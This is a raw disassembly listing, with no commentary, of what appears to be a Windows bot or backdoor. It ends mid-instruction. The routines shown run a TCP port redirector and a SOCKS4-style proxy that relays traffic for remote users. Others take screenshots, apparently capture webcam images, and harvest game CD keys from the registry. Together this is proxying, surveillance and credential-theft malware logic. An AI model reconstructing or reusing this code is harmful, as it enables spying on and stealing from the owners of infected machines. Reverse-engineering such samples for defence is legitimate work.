push eax lea eax, [ebp+var_144] push edi push eax push offset sub_406593 push edi push edi call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_30] imul ecx, 234h cmp eax, edi mov ds:dword_43BED4[ecx], eax jz short loc_40654F loc_4064FC: ; CODE XREF: sub_4063AC+15Dj cmp [ebp+var_20], edi jnz short loc_40650B push 32h call ds:dword_422054 ; Sleep jmp short loc_4064FC ; --------------------------------------------------------------------------- loc_40650B: ; CODE XREF: sub_4063AC+153j mov ebx, 1000h loc_406510: ; CODE XREF: sub_4063AC+19Fj push ebx lea eax, [ebp+var_1344] push edi push eax call sub_415500 add esp, 0Ch lea eax, [ebp+var_1344] push edi push ebx push eax push dword ptr [esi] call ds:dword_436480 ; recv cmp eax, edi jle short loc_406562 push edi push eax lea eax, [ebp+var_1344] push eax push [ebp+arg_0] call ds:dword_4364B8 ; send cmp eax, 0FFFFFFFFh jnz short loc_406510 jmp short loc_406562 ; --------------------------------------------------------------------------- loc_40654F: ; CODE XREF: sub_4063AC+14Ej call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset unk_426CF4 call sub_40A627 pop ecx pop ecx loc_406562: ; CODE XREF: sub_4063AC+44j ; sub_4063AC+A0j ... mov eax, [ebp+var_4] imul eax, 234h push ds:dword_43BECC[eax] call ds:dword_436500 ; closesocket push [ebp+arg_0] call ds:dword_436500 ; closesocket push [ebp+var_4] call sub_415248 pop ecx push edi call ds:dword_422044 ; ExitThread pop edi pop esi pop ebx sub_4063AC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406593 proc near ; DATA XREF: sub_4063AC+130o var_1128 = byte ptr -1128h var_128 = byte ptr -128h var_14 = dword ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1128h call sub_415D00 mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_128] rep movsd mov esi, [ebp+var_14] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_4065CA: ; CODE XREF: sub_406593+7Cj push edi lea eax, [ebp+var_1128] push 0 push eax call sub_415500 add esp, 0Ch lea eax, [ebp+var_1128] push 0 push edi push eax push ds:dword_43BED0[esi] call ds:dword_436480 ; recv test eax, eax jle short loc_406611 push 0 push eax lea eax, [ebp+var_1128] push eax push ds:dword_43BECC[esi] call ds:dword_4364B8 ; send cmp eax, 0FFFFFFFFh jnz short loc_4065CA loc_406611: ; CODE XREF: sub_406593+61j push ds:dword_43BED0[esi] call ds:dword_436500 ; closesocket push [ebp+var_14] call sub_415248 pop ecx push 0 call ds:dword_422044 ; ExitThread pop edi pop esi sub_406593 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406630 proc near ; DATA XREF: sub_40D2E0+5E51o var_2D4 = byte ptr -2D4h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp+var_D4] push 2Ch mov [ebp+var_4], ebx pop ecx rep movsd push 1 xor esi, esi pop edi mov [eax+0A8h], edi push ebx lea eax, [ebp+var_14] push esi push eax call sub_415500 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_40] call ds:dword_436468 ; htons push 6 push edi push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi call ds:dword_4364E8 ; socket mov edi, eax mov eax, [ebp+var_3C] imul eax, 234h push ebx mov ds:dword_43BECC[eax], edi lea eax, [ebp+var_14] push eax push edi call ds:dword_436494 ; bind test eax, eax jnz loc_4067D2 push 0Ah push edi call ds:dword_436490 ; listen test eax, eax jnz loc_4067D2 push [ebp+var_40] push [ebp+var_D4] call sub_409526 pop ecx push eax lea eax, [ebp+var_2D4] push offset unk_426E74 push eax call sub_415480 add esp, 10h cmp [ebp+var_30], esi jnz short loc_40670B push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_40BAE7 add esp, 14h loc_40670B: ; CODE XREF: sub_406630+B9j ; sub_406630+172j ... lea eax, [ebp+var_2D4] push eax call sub_40A5B3 pop ecx lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push edi call ds:dword_4364FC ; accept push [ebp+var_3C] mov ebx, eax movzx eax, [ebp+var_22] push eax mov [ebp+var_28], esi push [ebp+var_20] call ds:dword_4364F4 ; inet_ntoa push eax lea eax, [ebp+var_2D4] push offset unk_426E20 push eax call sub_415480 push ebx lea eax, [ebp+var_2D4] push 11h push eax call sub_414F2C mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov ds:dword_43BEC4[eax], ecx lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_D4] push esi push eax push offset sub_406835 push esi push esi call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov ds:dword_43BED4[ecx], eax jz short loc_4067B2 loc_40679F: ; CODE XREF: sub_406630+180j cmp [ebp+var_28], esi jnz loc_40670B push 5 call ds:dword_422054 ; Sleep jmp short loc_40679F ; --------------------------------------------------------------------------- loc_4067B2: ; CODE XREF: sub_406630+16Dj call ds:dword_42206C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2D4] push offset unk_426DD8 push eax call sub_415480 add esp, 0Ch jmp loc_40670B ; --------------------------------------------------------------------------- loc_4067D2: ; CODE XREF: sub_406630+7Bj ; sub_406630+8Cj push edi call ds:dword_436500 ; closesocket push [ebp+var_40] lea eax, [ebp+var_2D4] push offset unk_426D98 push eax call sub_415480 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_406815 push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_40BAE7 add esp, 14h loc_406815: ; CODE XREF: sub_406630+1C3j lea eax, [ebp+var_2D4] push eax call sub_40A5B3 push [ebp+var_3C] call sub_415248 pop ecx pop ecx push esi call ds:dword_422044 ; ExitThread pop edi pop esi pop ebx sub_406630 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406835 proc near ; DATA XREF: sub_406630+14Fo var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_4D0 = byte ptr -4D0h var_4CF = byte ptr -4CFh var_4CE = word ptr -4CEh var_4CC = dword ptr -4CCh var_4C8 = byte ptr -4C8h var_C8 = byte ptr -0C8h var_44 = byte ptr -44h var_2C = dword ptr -2Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov esi, [ebp+var_2C] push 1 mov [ebp+arg_0], esi imul esi, 234h pop edi lea esi, dword_43BECC[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov [ebp+var_8], 5 mov [ebp+var_5D0], eax lea eax, [ebp+var_8] push eax push ebx lea eax, [ebp+var_5D4] push ebx push eax push ebx mov [ebp+var_4], ebx mov [ebp+var_5D4], edi call ds:dword_436450 ; select test eax, eax jnz short loc_4068B6 push dword ptr [esi] call ds:dword_436500 ; closesocket push [ebp+arg_0] call sub_415248 pop ecx push ebx call ds:dword_422044 ; ExitThread loc_4068B6: ; CODE XREF: sub_406835+67j push ebx lea eax, [ebp+var_4D0] push 408h push eax push dword ptr [esi] call ds:dword_436480 ; recv test eax, eax jg short loc_4068E7 push dword ptr [esi] call ds:dword_436500 ; closesocket push [ebp+arg_0] call sub_415248 pop ecx push ebx call ds:dword_422044 ; ExitThread loc_4068E7: ; CODE XREF: sub_406835+98j cmp [ebp+var_4D0], 4 jnz loc_406AE1 cmp [ebp+var_4CF], 1 jnz loc_406AE1 cmp [ebp+var_44], bl jz short loc_40697D lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax call sub_4158A0 pop ecx test eax, eax pop ecx jz short loc_40697D lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax push offset unk_426F48 call sub_40A627 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Dh call sub_415500 add esp, 18h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call ds:dword_4364B8 ; send push dword ptr [esi] call ds:dword_436500 ; closesocket push [ebp+arg_0] call sub_415248 pop ecx push ebx call ds:dword_422044 ; ExitThread loc_40697D: ; CODE XREF: sub_406835+CFj ; sub_406835+E5j push 10h lea eax, [ebp+var_18] push ebx push eax call sub_415500 mov ax, [ebp+var_4CE] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_4CC] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call ds:dword_4364E8 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_406A15 call ds:dword_4363FC ; WSAGetLastError push eax push offset unk_426EFC call sub_40A627 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_415500 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call ds:dword_4364B8 ; send push dword ptr [esi] call ds:dword_436500 ; closesocket push [ebp+arg_0] call sub_415248 pop ecx push ebx call ds:dword_422044 ; ExitThread loc_406A15: ; CODE XREF: sub_406835+181j lea eax, [ebp+var_18] push 10h push eax push edi call ds:dword_436410 ; connect cmp eax, 0FFFFFFFFh jnz short loc_406A84 call ds:dword_4363FC ; WSAGetLastError push eax push offset unk_426EAC call sub_40A627 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_415500 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call ds:dword_4364B8 ; send push dword ptr [esi] call ds:dword_436500 ; closesocket push [ebp+arg_0] call sub_415248 pop ecx push ebx call ds:dword_422044 ; ExitThread loc_406A84: ; CODE XREF: sub_406835+1F0j push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Ah call sub_415500 add esp, 0Ch lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call ds:dword_4364B8 ; send push dword ptr [esi] push edi call sub_406AF9 pop ecx pop ecx push edi call ds:dword_436500 ; closesocket push dword ptr [esi] call ds:dword_436500 ; closesocket push [ebp+arg_0] call sub_415248 pop ecx push ebx call ds:dword_422044 ; ExitThread loc_406AE1: ; CODE XREF: sub_406835+B9j ; sub_406835+C6j push dword ptr [esi] call ds:dword_436500 ; closesocket push [ebp+arg_0] call sub_415248 pop ecx push ebx call ds:dword_422044 ; ExitThread sub_406835 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406AF9 proc near ; CODE XREF: sub_406835+286p var_504 = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_406B0F: ; CODE XREF: sub_406AF9+C5j ; sub_406AF9+F5j mov [ebp+var_100], ebx mov [ebp+var_104], 1 xor ecx, ecx lea eax, [ebp+var_100] loc_406B27: ; CODE XREF: sub_406AF9+3Cj mov edx, [ebp+arg_0] cmp [eax], edx jz short loc_406B37 inc ecx add eax, 4 cmp ecx, 1 jb short loc_406B27 loc_406B37: ; CODE XREF: sub_406AF9+33j cmp ecx, 1 jnz short loc_406B4C mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_406B4C: ; CODE XREF: sub_406AF9+41j push esi lea eax, [ebp+var_504] push edi push eax call sub_415500 add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call ds:dword_436450 ; select lea eax, [ebp+var_104] push eax push ebx call ds:dword_436360 ; __WSAFDIsSet test eax, eax jz short loc_406BAC push edi lea eax, [ebp+var_504] push esi push eax push ebx call ds:dword_436480 ; recv cmp eax, 0FFFFFFFFh jz short loc_406BF4 push edi push eax lea eax, [ebp+var_504] push eax push [ebp+arg_0] call ds:dword_4364B8 ; send cmp eax, 0FFFFFFFFh jz short loc_406BF4 loc_406BAC: ; CODE XREF: sub_406AF9+85j lea eax, [ebp+var_104] push eax push [ebp+arg_0] call ds:dword_436360 ; __WSAFDIsSet test eax, eax jz loc_406B0F push edi lea eax, [ebp+var_504] push esi push eax push [ebp+arg_0] call ds:dword_436480 ; recv cmp eax, 0FFFFFFFFh jz short loc_406BF4 push edi push eax lea eax, [ebp+var_504] push eax push ebx call ds:dword_4364B8 ; send cmp eax, 0FFFFFFFFh jnz loc_406B0F loc_406BF4: ; CODE XREF: sub_406AF9+9Aj ; sub_406AF9+B1j ... pop edi pop esi pop ebx leave retn sub_406AF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406BF9 proc near ; CODE XREF: sub_40D2E0+45AFp var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call ds:dword_436454 ; CreateDCA mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_406E2D push 8 push edi call ds:dword_436470 ; GetDeviceCaps push 0Ah push edi mov [ebp+var_8], eax call ds:dword_436470 ; GetDeviceCaps push 0Ch push edi mov [ebp+var_C], eax call ds:dword_436470 ; GetDeviceCaps cmp eax, 8 mov [ebp+var_10], eax ja short loc_406C5B push 18h push edi call ds:dword_436470 ; GetDeviceCaps mov ebx, 100h jmp short loc_406C5D ; --------------------------------------------------------------------------- loc_406C5B: ; CODE XREF: sub_406BF9+50j xor ebx, ebx loc_406C5D: ; CODE XREF: sub_406BF9+60j push edi call ds:dword_4364B4 ; CreateCompatibleDC cmp eax, esi mov [ebp+var_4], eax jz loc_406E12 mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call ds:dword_4364AC ; CreateDIBSection cmp eax, esi mov [ebp+var_1C], eax jz loc_406E1D push eax push [ebp+var_4] call ds:dword_436344 ; SelectObject cmp eax, esi jz loc_406E1D cmp eax, 0FFFFFFFFh jz loc_406E1D push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call ds:dword_4364B0 ; BitBlt test eax, eax jz loc_406E1D cmp ebx, esi jz short loc_406D1A lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call ds:dword_436398 ; GetDIBColorTable mov ebx, eax loc_406D1A: ; CODE XREF: sub_406BF9+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi call ds:off_42207C cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_406DFD lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax call ds:dword_4220B0 ; WriteFile lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] call ds:dword_4220B0 ; WriteFile cmp ebx, esi jz short loc_406DDF lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] call ds:dword_4220B0 ; WriteFile loc_406DDF: ; CODE XREF: sub_406BF9+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] call ds:dword_4220B0 ; WriteFile push [ebp+arg_0] call ds:off_422074 push 1 pop esi loc_406DFD: ; CODE XREF: sub_406BF9+1A2j push [ebp+var_1C] call ds:dword_4363CC ; DeleteObject push [ebp+var_4] call ds:dword_436330 ; DeleteDC mov edi, [ebp+var_20] loc_406E12: ; CODE XREF: sub_406BF9+70j push edi call ds:dword_436330 ; DeleteDC mov eax, esi jmp short loc_406E2F ; --------------------------------------------------------------------------- loc_406E1D: ; CODE XREF: sub_406BF9+C7j ; sub_406BF9+D9j ... push edi call ds:dword_436330 ; DeleteDC push [ebp+var_4] call ds:dword_436330 ; DeleteDC loc_406E2D: ; CODE XREF: sub_406BF9+23j xor eax, eax loc_406E2F: ; CODE XREF: sub_406BF9+222j pop edi pop esi pop ebx leave retn sub_406BF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406E34 proc near ; CODE XREF: sub_40D2E0+46EBp var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push ds:dword_434F00 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call ds:dword_4363C0 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_406E72 mov eax, esi jmp loc_407028 ; --------------------------------------------------------------------------- loc_406E72: ; CODE XREF: sub_406E34+35j push edi call ds:dword_436408 ; IsWindow test eax, eax jz short loc_406E8F push ebx push [ebp+arg_4] push 40Ah push edi call ds:dword_4364C4 ; SendMessageA jmp short loc_406E91 ; --------------------------------------------------------------------------- loc_406E8F: ; CODE XREF: sub_406E34+47j xor eax, eax loc_406E91: ; CODE XREF: sub_406E34+59j cmp eax, ebx jnz short loc_406E9C loc_406E95: ; CODE XREF: sub_406E34+88j ; sub_406E34+BCj mov ebx, esi jmp loc_40701D ; --------------------------------------------------------------------------- loc_406E9C: ; CODE XREF: sub_406E34+5Fj push edi call ds:dword_436408 ; IsWindow test eax, eax jz short loc_406EB9 lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call ds:dword_4364C4 ; SendMessageA loc_406EB9: ; CODE XREF: sub_406E34+71j cmp [ebp+var_20], ebx jz short loc_406E95 push edi call ds:dword_436408 ; IsWindow test eax, eax mov edi, 42Ch jz short loc_406EDF push ebx push ebx push edi push [ebp+var_4] call ds:dword_4364C4 ; SendMessageA mov [ebp+arg_4], eax jmp short loc_406EE2 ; --------------------------------------------------------------------------- loc_406EDF: ; CODE XREF: sub_406E34+98j mov [ebp+arg_4], ebx loc_406EE2: ; CODE XREF: sub_406E34+A9j push [ebp+arg_4] call sub_415D2F cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_406E95 push [ebp+arg_4] call sub_415D2F mov esi, eax pop ecx cmp esi, ebx jnz short loc_406F09 push 1 pop ebx jmp loc_40701D ; --------------------------------------------------------------------------- loc_406F09: ; CODE XREF: sub_406E34+CBj push [ebp+var_4] call ds:dword_436408 ; IsWindow test eax, eax jz short loc_406F26 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call ds:dword_4364C4 ; SendMessageA loc_406F26: ; CODE XREF: sub_406E34+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_415560 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_406F41 mov ecx, 280h loc_406F41: ; CODE XREF: sub_406E34+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_406F4D mov eax, 1E0h loc_406F4D: ; CODE XREF: sub_406E34+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call ds:dword_436408 ; IsWindow test eax, eax mov edi, 42Dh jz short loc_406F97 push esi push [ebp+arg_4] push edi push [ebp+var_4] call ds:dword_4364C4 ; SendMessageA loc_406F97: ; CODE XREF: sub_406E34+153j push [ebp+var_4] call ds:dword_436408 ; IsWindow test eax, eax jz short loc_406FB4 push ebx push ebx push 43Dh push [ebp+var_4] call ds:dword_4364C4 ; SendMessageA loc_406FB4: ; CODE XREF: sub_406E34+16Ej push [ebp+var_4] call ds:dword_436408 ; IsWindow test eax, eax jz short loc_406FD3 push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call ds:dword_4364C4 ; SendMessageA loc_406FD3: ; CODE XREF: sub_406E34+18Bj push [ebp+var_4] call ds:dword_436408 ; IsWindow test eax, eax jz short loc_406FF0 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call ds:dword_4364C4 ; SendMessageA loc_406FF0: ; CODE XREF: sub_406E34+1AAj push [ebp+var_8] call sub_415DE1 push esi call sub_415DE1 pop ecx pop ecx push [ebp+var_4] call ds:dword_436408 ; IsWindow test eax, eax jz short loc_40701D push ebx push ebx push 40Bh push [ebp+var_4] call ds:dword_4364C4 ; SendMessageA loc_40701D: ; CODE XREF: sub_406E34+63j ; sub_406E34+D0j ... push [ebp+var_4] call ds:dword_436518 ; DestroyWindow mov eax, ebx loc_407028: ; CODE XREF: sub_406E34+39j pop edi pop esi pop ebx leave retn sub_406E34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40702D proc near ; CODE XREF: sub_40D2E0+47A4p var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push ds:dword_434F00 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call ds:dword_4363C0 mov edi, eax cmp edi, ebx jnz short loc_40706B mov eax, esi jmp loc_407267 ; --------------------------------------------------------------------------- loc_40706B: ; CODE XREF: sub_40702D+35j push edi call ds:dword_436408 ; IsWindow test eax, eax jz short loc_407088 push ebx push [ebp+arg_4] push 40Ah push edi call ds:dword_4364C4 ; SendMessageA jmp short loc_40708A ; --------------------------------------------------------------------------- loc_407088: ; CODE XREF: sub_40702D+47j xor eax, eax loc_40708A: ; CODE XREF: sub_40702D+59j cmp eax, ebx jnz short loc_407095 loc_40708E: ; CODE XREF: sub_40702D+8Bj ; sub_40702D+BCj mov ebx, esi jmp loc_40725E ; --------------------------------------------------------------------------- loc_407095: ; CODE XREF: sub_40702D+5Fj push edi call ds:dword_436408 ; IsWindow test eax, eax jz short loc_4070B5 lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call ds:dword_4364C4 ; SendMessageA loc_4070B5: ; CODE XREF: sub_40702D+71j cmp [ebp+var_7C], ebx jz short loc_40708E push edi call ds:dword_436408 ; IsWindow test eax, eax jz short loc_4070D8 push ebx push ebx push 42Ch push edi call ds:dword_4364C4 ; SendMessageA mov [ebp+arg_4], eax jmp short loc_4070DB ; --------------------------------------------------------------------------- loc_4070D8: ; CODE XREF: sub_40702D+96j mov [ebp+arg_4], ebx loc_4070DB: ; CODE XREF: sub_40702D+A9j push [ebp+arg_4] call sub_415D2F cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_40708E push [ebp+arg_4] call sub_415D2F mov esi, eax pop ecx cmp esi, ebx jnz short loc_407102 push 1 pop ebx jmp loc_40725E ; --------------------------------------------------------------------------- loc_407102: ; CODE XREF: sub_40702D+CBj push edi call ds:dword_436408 ; IsWindow test eax, eax jz short loc_40711F push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call ds:dword_4364C4 ; SendMessageA loc_40711F: ; CODE XREF: sub_40702D+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_415560 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_40713A mov ecx, 0A0h loc_40713A: ; CODE XREF: sub_40702D+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_407144 push 78h pop eax loc_407144: ; CODE XREF: sub_40702D+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call ds:dword_436408 ; IsWindow test eax, eax jz short loc_407189 push esi push [ebp+arg_4] push 42Dh push edi call ds:dword_4364C4 ; SendMessageA loc_407189: ; CODE XREF: sub_40702D+14Aj push edi call ds:dword_436408 ; IsWindow test eax, eax jz short loc_4071A6 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call ds:dword_4364C4 ; SendMessageA loc_4071A6: ; CODE XREF: sub_40702D+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call ds:dword_436408 ; IsWindow test eax, eax jz short loc_4071E4 lea eax, [ebp+var_64] push eax push 60h push 440h push edi call ds:dword_4364C4 ; SendMessageA loc_4071E4: ; CODE XREF: sub_40702D+1A3j push edi call ds:dword_436408 ; IsWindow test eax, eax jz short loc_4071FF push [ebp+arg_0] push ebx push 414h push edi call ds:dword_4364C4 ; SendMessageA loc_4071FF: ; CODE XREF: sub_40702D+1C0j push edi call ds:dword_436408 ; IsWindow test eax, eax jz short loc_407218 push ebx push ebx push 43Eh push edi call ds:dword_4364C4 ; SendMessageA loc_407218: ; CODE XREF: sub_40702D+1DBj push edi call ds:dword_436408 ; IsWindow test eax, eax jz short loc_407235 push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call ds:dword_4364C4 ; SendMessageA loc_407235: ; CODE XREF: sub_40702D+1F4j push [ebp+var_4] call sub_415DE1 push esi call sub_415DE1 pop ecx pop ecx push edi call ds:dword_436408 ; IsWindow test eax, eax jz short loc_40725E push ebx push ebx push 40Bh push edi call ds:dword_4364C4 ; SendMessageA loc_40725E: ; CODE XREF: sub_40702D+63j ; sub_40702D+D0j ... push edi call ds:dword_436518 ; DestroyWindow mov eax, ebx loc_407267: ; CODE XREF: sub_40702D+39j pop edi pop esi pop ebx leave retn sub_40702D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40726C proc near ; CODE XREF: sub_40D2E0+588Bp var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp ds:off_426FAC, ebx mov [ebp+var_C], 80h jz loc_40740D push esi push edi mov eax, offset off_426FAC mov esi, offset dword_426FB8 mov edi, offset aSCdKeyS_ ; "%s CD Key: (%s)." loc_40729C: ; CODE XREF: sub_40726C+199j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call ds:dword_4364D8 ; 